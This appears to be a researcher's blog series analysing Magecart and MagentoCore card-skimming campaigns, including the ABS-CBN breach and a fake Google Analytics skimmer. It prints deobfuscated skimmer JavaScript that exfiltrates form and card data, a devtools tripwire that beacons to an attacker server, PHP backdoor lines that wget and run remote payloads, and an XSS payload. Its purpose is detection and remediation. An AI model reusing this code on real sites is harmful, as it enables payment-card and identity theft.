MageCart: now with tripwire


Back in 2016, Magecart skimmers would evade detection by sleeping if any developer tools were found running. Then, their malware would 404 without correct Referer or User-Agent header. And now, Magecart sounds the alarm when it finds you snooping around, and collects a fingerprint of you on an external server.


Ramifications: the Magecart authors now likely have a list of IPs of interested parties, and may use those in future evasion techniques.

The obfuscated tripwire is attached to a (dummy) copy of jQuery-Mask that is served on non-checkout pages. Here’s a reverse engineered copy:

// Disable script logging
var noop = function () { };
console.log = noop;
console.warn = noop;
console.debug = noop; = noop;
console.error = noop;
console.exception = noop;
console.trace = noop;
'use strict';
var devToolStatus = {
    'open': false,
    'orientation': null
var minBorderPx = 160;
var changeDevTools = function (a, b) {
    window.dispatchEvent(new CustomEvent('devtoolschange', {
        'detail': {
            'open': a,
            'orientation': b
setInterval(function () {
    // Check every 0.5sec whether devtools are open
    var fatWidth = window.outerWidth - window.innerWidth > minBorderPx;
    var fatHeight = window.outerHeight - window.innerHeight > minBorderPx;
    var detectedOrientation = fatWidth ? 'vertical' : 'horizontal';
    if (!(fatHeight && fatWidth) && (window.Firebug && && || fatWidth || fatHeight)) {
        // Devtools are open
        if (! || devToolStatus.orientation !== detectedOrientation) {
            changeDevTools(true, detectedOrientation);
        } = true;
        devToolStatus.orientation = detectedOrientation;
    } else {
        if ( {
            changeDevTools(false, null);
        } = false;
        devToolStatus.orientation = null;
}, 500);

// Running in nodejs? Then export
if (typeof module !== 'undefined' && module.exports) {
    module.exports = devToolStatus;
} else {
    window.devtools = devToolStatus;
var detectedUA = new MobileDetect(window.navigator.userAgent);
var isMobile = false;
if ( {
    isMobile = true;
var debuggerIsRunning = false;
if (window.navigator.userAgent.indexOf('Mac OS X') > 0) {
    var before = new Date().getTime();
    var afterBreakpoint = new Date().getTime();
    if (afterBreakpoint - before > 100) {
        debuggerIsRunning = true;
window.addEventListener('devtoolschange', function (g) {
    if ( && !isMobile && debuggerIsRunning) {
        var scheme = window.location.protocol != 'https:' ? 'http://' : 'https://';
        var host = '';
        var url = scheme + host + '/tools.php';
        var xhr = new XMLHttpRequest();
        var e = 'timezone=' + Intl.DateTimeFormat().resolvedOptions().timeZone
            + '&&systemTime=' + new Date().toLocaleString() + '&&'
            + 'appVersion=' + window.navigator.appVersion
            + '&&useragent=' + navigator.userAgent + '&&'
            + 'availHeight=' + window.screen.availHeight + '&&'
            + 'innerWidth=' + window.innerWidth + '&&'
            + 'innerHeight=' + window.innerHeight + '&&'
            + 'availWidth=' + window.screen.availWidth + '&&'
            + 'jWidth=' + (window.jQuery !== undefined ? jQuery(window).width() : 0x0) + '&&'
            + 'jHeight=' + (window.jQuery !== undefined ? jQuery(window).height() : 0x0) + '&&'
            + 'referer=' + document.referrer + '&&'
            + 'request=' + document.location.pathname + '&&'
            + 'host=' +;
        var f = 'params=' + btoa(e);'POST', url, true);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.withCredentials = true;

The fingerprint receivers are hosted on and, a dodgy network spanning NL/IE/RU/UA. According to VirusTotal, the following hostnames resolve there, which have been added to the Magento Malware Scanner list of IOCs.

(image credits for this post)

ABS-CBN next in series of high profile breaches

ABS-CBN main building

While Filipinos are recovering from typhoon Mangkhut, another misfortune awaits them online. I found their broadcasting giant ABS-CBN − a $740 million conglomerate & top-500 global Internet destination − to be hacked. Criminals are running a payment skimmer on ABS-CBNs online store since at least August 16th. Personal information and credit cards are intercepted while people shop for merchandise for one of the 90+ television shows. The stolen data is sent onwards to a server registered in Irkutsk, Russia. The credit cards and identities are then (presumably) sold on the black market.

ABS-CBN is the latest target in a series of high profile skimming operations. Previously, British Airways and Ticketmaster admitted massive credit card theft of their customers. The methodology found at these crime scenes is the same: browser-based interception during the checkout process. This method is quickly gaining popularity because it defeats the security of encrypted connections (https/SSL).

Filipinos are recommended to carefully check their credit card statements for unauthorized payments.

I have notified ABS-CBN of the breach, but have not received a response.

Technical details

I discovered the fraud campaign when I implemented new heuristics for my malware detection system this week. The (obfuscated) malware is located at ( This specific file has not been modified since four weeks, suggesting the malware was injected on or before August 16th.

$ curl -v
< Last-Modified: Thu, 16 Aug 2018 06:24:34 GMT

The malware sends its stolen data to a payment collection server called

This server is on the same Russian network as, a different malware campaign that I found earlier this week:

A Google Analytics thief uncovered

Criminals are found using Google Analytics to disguise their malware campaigns and stay under the radar.

google analytics fraud

Would you - a webdeveloper - get alarmed if you found the following code on your website? Probably not, as Google Analytics is embedded in pretty much every website these days:

<script type="text/javascript"> (function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 
    'https://' : 'http://') + '';
(document.getElementsByTagName('head')[0] || 
var _qaq = _qaq || [];
_qaq.push(['_setAccount', 'UA-30188865-1']);
_qaq.push(['_trackPageview']); </script>

However, you just skimmed over an ingenious impersonation. The domain is not owned by Google, as opposed to its legitimate counterpart. The fraud is hosted on a dodgy Russian/Romanian/Dutch/Dubai network called HostSailor. The malware behaves pretty much like the real Google Analytics, and it wouldn’t raise any dev eyebrows while monitoring Chrome’s waterfall chart. It requests __utm.gif, just like other Google Analytics trackers: waterfall

Upon closer inspection, the utm.gif request is a POST (uncommon). And it sends a suspicious amount of data over:

utm.gif requests

Among others, it sends my supposed screen resolution of 2560x1440 (I wish!). The track parameter appears to be the real payload. The calling Javascript is obfuscated (backup) using a free service but with some help of JSnice and manual dissection, I extracted:

$(function(saveNotifs) {
saveNotifs('button, .form-button, .onestepcheckout-button, .btn')['on']('click', function() {
    // ...
    if ((new RegExp('onepage|checkout|onestep|payment|admin|account|login|password|cart'))['test'](location)) {
    var all_form_fields = document['querySelectorAll']('input, select, textarea, checkbox');
    // ...
    if (payload) {
        var credit_card_regex = new RegExp('[0-9]{13,16}');
        var password = '4d25a9bb5f714290adb1334942e2e94f0c2595f5af50aeb9bc811717650fce08';
        var cloudSaveObject = payload + '&asd=' + (credit_card_regex['test'](payload['replace'](/s/g, '')) ? 1 : 0) + '&utmp=' + cur_url;
        var base64encoded_gibberish = btoa(GibberishAES['enc'](cloudSaveObject, password));
        my_xhr['open'](my_http_method, saveNotifs('<div />')['html']('//')['text'](), true);
        my_xhr['send']('v=1&_v=j68&a=98811130&t=pageview&_s=1&sd=24-bit&sr=2560x1440&vp=2145x371&je=0&_u=AACAAEAB~&jid=1841704724&gjid=877686936&cid=1283183910.1527732071&track=' + base64encoded_gibberish);

We can deduce:

  1. The malware checks if the current page has anything to do with “account”, “login”, “payment” or “password”. If so, it activates.
  2. When a button is clicked, it collects all user input, and encrypts them using Gibberish-AES and the password 4d25a....
  3. It base64 encodes the encrypted object and posts it to the server.

To verify this, I tried to AES decrypt the payload using the same password (aes decryptor here):

$ python

billing[street][]=Fakestreet 13

Voila, my address, email and credit card info out in the open.


The g-analytics malware has spread to various websites. Interestingly, some websites embed a versioned copy, such as:

I enumerated all possible copies and checked for the “Last-Modified” header:

$ for i in $(seq 1 20); do 
    wget --mirror$i/analytics.js; 
$ ls -rtl */* | cut -b28-
130744 jun 23 04:47 1.0.1/analytics.js
 30866 jun 27 06:25 1.0.3/analytics.js
 32258 jun 27 13:06 1.0.4/analytics.js
 32231 jun 28 17:11 1.0.6/analytics.js
 34288 jun 28 18:03 1.0.7/analytics.js
 31330 jun 28 19:25 1.0.5/analytics.js
 75557 jun 30 15:41 1.0.8/analytics.js
 30838 jul  2 08:51 1.0.9/analytics.js
 31098 jul  4 17:41 1.0.11/analytics.js
 56946 jul  5 07:29 1.0.10/analytics.js
 57603 jul  5 09:43 1.0.12/analytics.js
 24069 jul  7 05:58 1.0.14/analytics.js
 31234 jul  7 14:27 1.0.13/analytics.js
 35515 jul 10 11:44 1.0.15/analytics.js

The malware creator seemed to have created 14 different copies over the course of 3 weeks. At least versions 1.0.10 and 1.0.12 include a fake payment popup form that was built for a specific website. These instances are still harvesting passwords and identities as of today.

MagentoCore skimmer most aggressive to date

real skimming

A single group is responsible for planting skimmers on 7339 individual stores in the last 6 months. The MagentoCore skimmer is now the most successful to date.

Update 2018-09-07: Because Google Chrome has added the campaign to its blocklist last Saturday, the skimmers are now rapidly replacing “” with “”. In the last 24h, they have updated at least 190 compromised stores.

Online skimming - your identity and card are stolen while you shop - has been around for a few years, but no campaign has been so prolific as the skimmer. In the last 6 months, the group has turned 7339 individual stores into zombie money machines, to the benefit of their illustrious masters.

The average recovery time is a few weeks, but at least 1450 stores have hosted the parasite during the full past 6 months.

The group hasn’t finished yet: new brands are hijacked at a pace of 50 to 60 stores per day over the last two weeks (source: daily scans of yours truly).

The victim list contains multi-million dollar, publicly traded companies, which suggests the malware operators make a handsome profit. But the real victims are eventually the customers, who have their card and identity stolen.

How it works

The MagentoCore skimmers gain illicit access to the control panel of an e-commerce site, often with brute force techniques (automatically trying lots of passwords, sometimes for months). Once they succeed, an embedded piece of Javascript is added to the HTML template:

<script type="text/javascript" src=""></script>

This script (backup) records keystrokes from unsuspecting customers and sends everything in real-time to the “” server, registered in Moscow.

The malware includes a recovery mechanism as well. In case of the Magento software, it adds a backdoor to cron.php. That will periodically download malicious code, and, after running, delete itself, so no traces are left.

shell_exec("wget -c -O ./app/code/core/clean.php 2>&1");
shell_exec("wget -c -O ./app/code/core/clear.php 2>&1");
shell_exec("php ./app/code/core/clean.php 2>&1");
shell_exec("php ./app/code/core/clear.php 2>&1");

The file clean.json (backup) is PHP code that removes any competing malware from the site, searching for ATMZOW, 19303817.js and PZ7SKD.

The file clear.json (backup) changes the password of several common staff user names to how1are2you3 (see below for list).

What you can do

If you are a merchant and found the skimmer in your store, this is the to-do list for your ops team / forensic investigator.

  1. Find the entry point: how could attackers gain unauthorized access in the first place? Analyse backend access logs, correlate with staff IP’s and typical working hours. If suspicious activity is recorded from staff IPs, it could be that a staff computer is infected with malware, or that the attacker has hijacked an authorized session.
  2. Find backdoors and unauthorized changes to your codebase. Usually there are a few, both in frontend/backend code and the database. My opensource Magento Malware Scanner can be useful here.
  3. Once you have established all means of unauthorized access, close them all at once.
  4. Remove the skimmer, backdoors and other code. Revert to a certified safe copy of the codebase, if possible. Malware is often hidden in default HTML header/footers, but also in minimized, static Javascript files, hidden in deep in the codebase. You should check all HTML/JS assets that are loaded during the checkout process.
  5. Implement secure procedures that cover timely patching, strong staff passwords etcetera. A good starting point.

If your team has little experience with forensic analysis, it generally pays off to hire a professional investigator. S/he will find the entry vector faster and perhaps more important, has a lower risk of leaving any undetected backdoors. One missed backdoor and you can start all over in a few weeks.

Admin user names

The MagentoCore malware will set the password to how1are2you3 for the following admin accounts periodically:

1468177885   1470303373   a            aborman      acid         admin01      
admin1       admin123     admin5       adminhendra  adminnew     adminray     
admins       adminu       admin_bfei   admin_ihfb   afletcher    ajen         
alexgvn123   alif         ameendering  Ameliaaa     an           anin48       
anjeng       anjeng12     Anr_01       ardyan       as           asdasd       
astroeh      asu123       asuasu       asulan123    Audi         azer         
aziz         Backup       backup_35f69 badcc        bangsat      berandal     
bgades       bgross       biji         bschlotter   bwilson      c0krek       
cahyodp      camuv1653    casa         cbaker       cecun        cevans       
cgcf         cgreenfield  cknobloch    clayser      ClayX404     cmorgan      
coco         codex        coq          cruis        cvanstryland cwarton      
d            dalexander   ddoine       Death        dede         dedeganteng  
default123   defaults     defaults01   defaut123    design       developer    
dhsjcsc      diablox      Dian2206     dkelly       dlc          dmorgan      
dpender      dsacks       dstefan      eCommerce    edorr        ehooser      
einlow       ejameson     ekennedy     erik         erobinson    eznt@i.ryanb 
family       faqih212     FathurFreakz ferdi123     fikrihaikal3 forme        
frozen404    fwilde       geizkayusuf  gfd          ggrav        ghaz         
gigihmhd     gladz        gmr          golix19      GolixGates1  google       
gustaman     haydar       haydra       hell         hiddenymouz  hornetto     
hunter2      hydro        Hysoka       i            ibizta       iko          
indoxploit   iniadmin     irfan        jaja         jancok       jancoks      
janderson    jayzweed     jbonnell     jdragovich   jefri        JelexCrew    
jengel       jhemphill    jhogan       jhult        jmartin      jockerdz     
jonson       jtappe       juancok      katon        kedaong      kehise       
kenta        khise        khoogers     kimak        kimyounsin   king         
kkruger      kmagnan      knap13       knelson      Kontol900!   kotack       
kuyas        kwwilliams   kwynia       lalapo123    LastTouch    lluethje     
localsystem  Loic         lthummagunta lucu         m4tr1x       madmax       
maganeto     magento      magento1     mageplas     magsupport   malang       
manggo       manick       masthio01    mcopa        meldred      Memekl3g17   
mgonzalez    mind         mlaudenbach  mlomo        momo         moza         
mperry       mranupak     mrsakso      msas         msf          msivalingam  
mtrudell     mturico      mwaldner     mwelbig      mwendt       nathan       
nbrouwer     ncastelli    neqyns13     ngentod      ngentot123   nmccray      
nnordman     noob         novara       nrussell     nzero        o            
omyo123      ouni         owadmin      pak          paypal       pbk7695K@    
penggunalaya pikri        policy       pujasucipto  putra7695K   r0cky        
rami         rctioke7     rcummings    rdewolfe     restuser     revian29     
rezafirdaus  rezafirdaus2 rhaan        Rieqy        rieqyns13    rkm48        
rmiller      robert       Root         rseeker      s            sadmin       
samikom      sav.admin    saz          sdunham      semprol      sgood        
sgoodman     shansen      shayer       sheinz25     Shor7cut     Sihdaunix    
sjohnson     slackerc0de  slamusga     smolix       soliro       ss123        
staff.develo stores       stupid       Support      surya        surya1       
svandenheuve swhite       sysadm       sysadmiin    sysadmin     sysadmin1    
sysmon       system32     systemadmin  systembackup T1KUS90T     tadamec      
tae          tamedeo      tanderson    task         teastmond    telgersma    
terserah     tesdar       test         tfgh         Thole129     tomhawk      
training     tvanhouten   ubehera      ui           upel666      uSer         
VHiden133    vpotter      wajixz       wawa         wew          ybickham     
youmisscry   ywigaraa     zadmin       zaz          ziko         zxc          
zxcyou636    _admin       gogle        Nexcess      

Further reading

Hackers breached Magento through helpdesk

Magento merchants have recently received messages like this:

Hey, I strongly recommend you to make a redesign! Please contact me if you need a good designer! –

Upon closer examination, the message contains a specially crafted sender that contains an XSS attack: an attempt to take control of the backend of a Magento store (archived copy here):

<script src=""></script>

This exploits a bug in the popular Mirasvit Helpdesk extension. When a helpdesk agent opens the ticket, it will run the code in the background, in the browser of the agent. Then, malware is added to the footer of the Magento template, so that it is run by all store visitors. Ultimately, the malware intercepts payments data and send it offshore as the customer types it into the payment form.


This attack is particularly sophisticated, as it is able to bypass many security measures that a merchant might have taken. For example, IP restriction on the backend, strong passwords, 2-Factor-Authentication and using a VPN tunnel will not block this attack.

Have you been targeted?

Run this query on your database to find XSS attacks like these:

FROM `m_helpdesk_message`
WHERE `customer_email` LIKE '%script%'
OR `customer_name` LIKE '%<script%'
OR `body` LIKE '%<script%' \G

Search your access logs for modifications of templates through the backend:

$ grep system_config/save/section/design access.log

The Mirasvit Helpdesk flaw was discovered and published on September 21st, but - until now - hasn’t been seen exploited in the wild.

Meanwhile, Mirasvit has released an update for its helpdesk software (v1.5.3). It is recommended to install this as soon as possible.

Other recommendations for store owners to block this type of attack:

  1. Monitor your store for modified head/footer template insertions
  2. Add a CSP header to disallow foreign Javascript execution altogether

Do you have a compromised Magento store? I am available for forensic analysis to identify the root cause and sufficient mitigation measures. An analysis can usually be completed within a week and is 100% confidential.

I have added detection signatures to the open source Magento Malware Scanner.